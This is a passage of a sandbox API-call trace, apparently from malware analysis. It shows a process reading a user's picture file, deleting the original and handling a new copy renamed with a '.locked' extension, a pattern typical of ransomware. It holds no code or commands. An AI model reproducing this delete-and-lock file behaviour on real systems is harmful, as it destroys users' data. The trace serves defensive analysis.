lpFilePart=0x0) returned 0x46 [0136.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif\\", lpFilePart=0x0) returned 0x60 [0136.438] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.438] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.438] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.439] CoTaskMemFree (pv=0x8eb8d30) [0136.439] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0136.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif"), fInfoLevelId=0x0, lpFileInformation=0x693bcd4 | out: lpFileInformation=0x693bcd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d346310, ftCreationTime.dwHighDateTime=0x1d4a5f2, ftLastAccessTime.dwLowDateTime=0x8f00320, ftLastAccessTime.dwHighDateTime=0x1d4a662, ftLastWriteTime.dwLowDateTime=0x8f00320, ftLastWriteTime.dwHighDateTime=0x1d4a662, nFileSizeHigh=0x0, nFileSizeLow=0x100b0)) returned 1 [0136.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.440] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 1 [0136.444] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.445] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.445] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.445] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.445] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif.locked")) returned 0x20 [0136.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif.locked")) returned 0x20 [0136.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", lpFilePart=0x0) returned 0x66 [0136.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", lpFilePart=0x0) returned 0x66 [0136.447] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.447] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.447] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.447] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.447] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.449] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.449] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.449] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.449] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.450] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0136.450] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.450] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.451] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.452] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.452] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.453] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.453] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.454] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69524c0 | out: lpFileInformation=0x69524c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x148b2ff3, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x148b2ff3, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x148d9208, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x100d4)) returned 1 [0136.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.456] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", lpFilePart=0x0) returned 0x66 [0136.456] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.456] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.456] CloseHandle (hObject=0x764) returned 1 [0136.459] GetConsoleOutputCP () returned 0x1b5 [0136.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.460] GetConsoleOutputCP () returned 0x1b5 [0136.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.460] GetConsoleOutputCP () returned 0x1b5 [0136.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.461] GetConsoleOutputCP () returned 0x1b5 [0136.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.461] GetConsoleOutputCP () returned 0x1b5 [0136.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.462] GetConsoleOutputCP () returned 0x1b5 [0136.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.462] GetConsoleOutputCP () returned 0x1b5 [0136.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.462] GetConsoleOutputCP () returned 0x1b5 [0136.463] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.463] GetConsoleOutputCP () returned 0x1b5 [0136.463] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.463] GetConsoleOutputCP () returned 0x1b5 [0136.463] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.463] GetConsoleOutputCP () returned 0x1b5 [0136.464] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.464] GetConsoleOutputCP () returned 0x1b5 [0136.464] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.464] GetConsoleOutputCP () returned 0x1b5 [0136.465] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.465] GetConsoleOutputCP () returned 0x1b5 [0136.465] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.465] GetConsoleOutputCP () returned 0x1b5 [0136.466] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.466] GetConsoleOutputCP () returned 0x1b5 [0136.466] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | 